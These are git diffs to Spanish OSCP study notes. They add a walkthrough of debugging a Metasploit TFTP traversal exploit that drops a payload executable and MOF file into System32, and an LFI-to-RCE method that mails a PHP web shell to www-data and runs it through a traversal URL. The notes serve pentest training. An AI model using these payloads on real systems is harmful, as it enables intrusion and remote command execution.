+     91:   # Configure how deep we want to traverse
+     92:   depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
+     93:   levels = "../" * depth
+     94: 
+     95:   # Upload the malicious executable to C:\Windows\System32\
+     96:   print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+     97:   upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+     98: 
+     99:   # Let the TFTP server idle a bit before sending another file
+    100:   select(nil, nil, nil, 1)
+    101: 
+    102:   # Upload the mof file
+    103:   print_status("#{peer} - Uploading .mof...")
+    104:   upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    105: end
+
+[1] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> exe_name
+=> "xMDsIBr.exe"
+[2] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)>
+```
+
+Donde como vemos, el valor que está almacenando dicha variable es **xMDsIBr.exe**. De igual manera, podríamos ver como las variables **depth** y **levels** no toman el valor que deberían. Para ello, podremos establecer un Breakpoint en la línea 96, dado que en este punto ya ambas variables se encuentran declarados y con valor.
+
+Aplicamos los siguientes comandos:
+
+```bash
+[2] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> break 96
+
+  Breakpoint 1: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ 96 (Enabled) 
+
+      93:     levels = "../" * depth
+    94: 
+    95:     # Upload the malicious executable to C:\Windows\System32\
+ => 96:     print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+    97:     upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+    98: 
+    99:     # Let the TFTP server idle a bit before sending another file
+
+
+[3] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> c
+
+  Breakpoint 1. First hit
+
+From: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ line 96 Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule#exploit:
+
+     81: def exploit
+     82:   peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+     83: 
+     84:   # Setup the necessary files to do the wbemexec trick
+     85:   binding.pry
+     86:   exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+     87:   exe      = generate_payload_exe
+     88:   mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+     89:   mof      = generate_mof(mof_name, exe_name)
+     90: 
+     91:   # Configure how deep we want to traverse
+     92:   depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
+     93:   levels = "../" * depth
+     94: 
+     95:   # Upload the malicious executable to C:\Windows\System32\
+ =>  96:   print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+     97:   upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+     98: 
+     99:   # Let the TFTP server idle a bit before sending another file
+    100:   select(nil, nil, nil, 1)
+    101: 
+    102:   # Upload the mof file
+    103:   print_status("#{peer} - Uploading .mof...")
+    104:   upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    105: end
+
+[3] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> depth
+=> 10
+[4] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> levels
+=> "../../../../../../../../../../"
+[5] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)>
+```
+
+Como vemos, el valor de la variable **levels** es (**../../../../../../../../../../**), lo que hace que nos planteemos que no se está almacenando correctamente el valor de nuestro **DEPTH**. Dado que de esta forma hemos podido localizar el fallo, ahora podemos atender a la siguiente línea del programa:
+
+```bash
+92:   depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
+```
+
+Donde como vemos, se especifica claramente que en caso de que el valor de **DEPTH** valga 0, esta se igualará a 10. Por lo que, deberíamos cambiar la declaración a lo siguiente:
+
+```bash
+92:   depth  = datastore['DEPTH']
+```
+
+Una vez hecho, podremos ver como los valores de **DEPTH** y de **levels** son declarados correctamente:
+
+```bash
+msf exploit(windows/tftp/exploit_tftp) > show options
+
+Module options (exploit/windows/tftp/exploit_tftp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   DEPTH  10               no        Levels to reach base directory
+   RHOST                   yes       The remote TFTP server address
+   RPORT  69               yes       The remote TFTP server port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Distinct TFTP 3.10 on Windows
+
+
+msf exploit(windows/tftp/exploit_tftp) > set DEPTH 0
+DEPTH => 0
+msf exploit(windows/tftp/exploit_tftp) > set RHOST 192.168.1.42
+RHOST => 192.168.1.42
+msf exploit(windows/tftp/exploit_tftp) > run
+
+[*] Started reverse TCP handler on 192.168.1.51:4444 
+Found plugin pry-byebug, but could not require 'pry-byebug'
+cannot load such file -- pry-byebug
+
+From: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ line 86 Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule#exploit:
+
+     81: def exploit
+     82:   peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+     83: 
+     84:   # Setup the necessary files to do the wbemexec trick
+     85:   binding.pry
+ =>  86:   exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+     87:   exe      = generate_payload_exe
+     88:   mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+     89:   mof      = generate_mof(mof_name, exe_name)
+     90: 
+     91:   # Configure how deep we want to traverse
+     92:   depth  = datastore['DEPTH']
+     93:   levels = "../" * depth
+     94: 
+     95:   # Upload the malicious executable to C:\Windows\System32\
+     96:   print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+     97:   upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+     98: 
+     99:   # Let the TFTP server idle a bit before sending another file
+    100:   select(nil, nil, nil, 1)
+    101: 
+    102:   # Upload the mof file
+    103:   print_status("#{peer} - Uploading .mof...")
+    104:   upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    105: end
+
+[1] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> break 96
+
+  Breakpoint 1: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ 96 (Enabled) 
+
+      93:     levels = "../" * depth
+    94: 
+    95:     # Upload the malicious executable to C:\Windows\System32\
+ => 96:     print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+    97:     upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+    98: 
+    99:     # Let the TFTP server idle a bit before sending another file
+
+
+[2] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> c
+
+  Breakpoint 1. First hit
+
+From: /root/.msf4/modules/exploits/windows/tftp/exploit_tftp.rb @ line 96 Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule#exploit:
+
+     81: def exploit
+     82:   peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+     83: 
+     84:   # Setup the necessary files to do the wbemexec trick
+     85:   binding.pry
+     86:   exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+     87:   exe      = generate_payload_exe
+     88:   mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+     89:   mof      = generate_mof(mof_name, exe_name)
+     90: 
+     91:   # Configure how deep we want to traverse
+     92:   depth  = datastore['DEPTH']
+     93:   levels = "../" * depth
+     94: 
+     95:   # Upload the malicious executable to C:\Windows\System32\
+ =>  96:   print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+     97:   upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+     98: 
+     99:   # Let the TFTP server idle a bit before sending another file
+    100:   select(nil, nil, nil, 1)
+    101: 
+    102:   # Upload the mof file
+    103:   print_status("#{peer} - Uploading .mof...")
+    104:   upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+    105: end
+
+[2] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> depth
+=> 0
+[3] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> levels
+=> ""
+[4] pry(#<Msf::Modules::Mod6578706c6f69742f77696e646f77732f746674702f6578706c6f69745f74667470::MetasploitModule>)> 
+```
+
+Este exploit contaba con otras ligeras modificaciones a hacer, pero con esto ya queda claro la funcionalidad del **pry-byebug**.
+
 **2. Burpsuite**
 
 ### Pentesting Web
@@ -1768,7 +2117,7 @@ De esta forma, resulta sencillo pensar en lo fácil que puede llegar a ser para
 Existen varias formas de conseguir ejecutar comandos en remoto a través de un **Local File Inclusion**, así como de acceder al sistema a través de la visualización de ciertos recursos. Para este caso, explicaré 2 técnicas a modo de ejemplo:
 
 * Log Poisoning (access.log & auth.log)
-* Mail PHP Execution FIXME: Redactar este punto
+* Mail PHP Execution
 
 La primera de ellas [**Log Poisoning**], consiste en verificar si las rutas _/var/log/auth.log_ y _/var/log/apache2/access.log_ son visibles desde el **LFI**.
 
@@ -1795,6 +2144,51 @@ Siempre suelo emplear Burpsuite como intermediario, pero también se puede hacer
 
 Otra de las técnicas para conseguir la ejecución de comandos a través de un **LFI** es por medio de archivos **proc**. Podemos encontrar la metodología paso a paso en el [siguiente recurso](https://www.exploit-db.com/papers/12992/).
 
+La segunda de ellas [**Mail PHP Execution**], consiste en aprovechar la vulnerabilidad LFI para tras visualizar los usuarios en el recurso '**/etc/passwd**', poder visualizar sus correspondientes mails en '**/var/mail/usuario**'.
+
+Es decir, suponiendo que tenemos nociones de que existe un usuario '**www-data**' sobre el sistema, en caso de contar con el servicio **smtp** corriendo, podemos "malformar" un mensaje para insertar código PHP y posteriormente apuntarlo desde el navegador.
+
+En caso de no llegar a saber qué usuarios hay en el sistema, podemos hacer uso de la herramienta **smtp-user-enum** para enumerar usuarios sobre el servicio:
+
+```bash
+smtp-user-enum -M VRFY -U top_shortlist.txt -t 192.168.1.X 
+```
+
+Obteniendo resultados similares al siguiente:
+
+```bash
+192.168.1.X: root exists
+192.168.1.X: mysql exists
+192.168.1.X: www-data exists
+```
+
+Ahora que sabemos que el usuario **www-data** existe, podemos hacer lo siguiente:
+
+```bash
+telnet 192.168.1.X 25
+
+HELO localhost
+
+MAIL FROM:<root>
+
+RCPT TO:<www-data>
+
+DATA
+
+<?php
+
+echo shell_exec($_REQUEST['cmd']);
+?>
+```
+
+¿Qué tendremos que hacer llegados a este punto?, teniendo en cuenta que el mail ha sido enviado, tan sólo tendremos que hacer lo siguiente:
+
+```bash
+http://192.168.1.X/?page=../../../../../var/mail/www-data?cmd=comando-a-ejecutar
+```
+
+Y el navegador nos devolverá el output del comando aplicado a nivel de sistema.
+
 #### LFI to RCE via PHP Sessions
 
 Para este caso, comprobamos si el sitio web cuenta usa **PHP SESSION** (_PHPSESSID_):

diff --git a/Preparación OSCP3.md b/Preparación OSCP3.md
diff --git a/Preparación OSCP2.md b/Preparación OSCP2.md
diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1572,6 +1572,46 @@ Otra opción también recomendable y que trataremos en este punto consiste en co
 
 **1. Pry-ByeBug**
 
+Antes que nada, para evitar que nuestro Metasploit corrompa, creamos una instancia del recurso sobre el directorio **/opt**:
+
+```bash
+$~ cp -r /usr/share/metasploit-framework /opt/.
+```
+
+Una vez hecho, creamos el siguiente recurso en **~/.pryrc**:
+
+```bash
+if defined?(PryByebug)
+  Pry.commands.alias_command 'c', 'continue'
+  Pry.commands.alias_command 's', 'step'
+  Pry.commands.alias_command 'n', 'next'
+  Pry.commands.alias_command 'f', 'finish'
+end
+
+Pry::Commands.command /^$/, "repeat last command" do
+  _pry_.run_command Pry.history.to_a.last
+end
+```
+
+Nos resultará de utilidad para poder jugar con **Alias** en vez de escribir la instrucción entera. Aplicamos el siguiente comando para instalar **pry-byebug**:
+
+```bash
+$~ gem 'pry-byebug'
+```
+
+Una vez hecho, abrimos nuestro recurso **/opt/metasploit-framework/msfconsole** con nuestro editor preferido y añadimos como requerimiento el **pry-byebug** de la siguiente forma:
+
+```bash
+#
+# Standard Library
+#
+
+require 'pathname'
+require 'pry-byebug' # Nueva línea a insertar, las demás están por defecto.
+
+if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true'
+```
+
 **2. Burpsuite**
 
 ### Pentesting Web

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1566,7 +1566,7 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
 #### Metasploit Debugging
 
-Muchas han sido las veces que lanzando un exploit el cual aparentemente parece reunir todos los requisitos necesarios para una explotación exitosa desde Metasploit, no rula, peta o incluso no nos devuelve ningún tipo de _Verbose_. Para lidiar con esto, existe una pequeña utilidad externa la cual nos permite Debuggear el programa en tiempo de ejecución, permitiéndonos así saber qué valores están tomando todas las variables así como si se están recogiendo bien los valores que fijamos desde las opciones de configuración.
+Muchas han sido las veces que lanzando un exploit el cual aparentemente parece reunir todos los requisitos necesarios para una explotación exitosa desde Metasploit, no rula, peta o incluso no nos devuelve ningún tipo de _Verbose_. Para lidiar con esto, existe una pequeña utilidad externa la cual nos permite Debuggear el programa en tiempo de ejecución, permitiéndonos así saber qué valores están tomando todas las variables así como conocer si se están recogiendo bien los valores que fijamos desde las opciones de configuración.
 
 Otra opción también recomendable y que trataremos en este punto consiste en configurar un Proxy desde Burpsuite, de manera que primero el Exploit pasa por el intermediario (útil para ver cómo viaja nuestra petición), y luego enruta al Host remoto.
 

diff --git a/Preparación OSCP.md b/Preparación OSCP.md
@@ -1566,7 +1566,7 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
 #### Metasploit Debugging
 
-Muchas han sido las veces que lanzando un exploit el cual aparentemente parece reunir todos los requisitos necesarios para una explotación exitosa desde Metasploit, no rula, peta o incluso no nos devuelve ningún tipo de _Verbose_. Para lidiar con esto, existe una pequeña utilidad externa la cual nos permite Debuggear el programa en tiempo de ejecución, permitiéndonos así saber qué valor están tomando todas las variables así como si se están recogiendo bien los valores que fijamos desde las opciones de configuración.
+Muchas han sido las veces que lanzando un exploit el cual aparentemente parece reunir todos los requisitos necesarios para una explotación exitosa desde Metasploit, no rula, peta o incluso no nos devuelve ningún tipo de _Verbose_. Para lidiar con esto, existe una pequeña utilidad externa la cual nos permite Debuggear el programa en tiempo de ejecución, permitiéndonos así saber qué valores están tomando todas las variables así como si se están recogiendo bien los valores que fijamos desde las opciones de configuración.
 
 Otra opción también recomendable y que trataremos en este punto consiste en configurar un Proxy desde Burpsuite, de manera que primero el Exploit pasa por el intermediario (útil para ver cómo viaja nuestra petición), y luego enruta al Host remoto.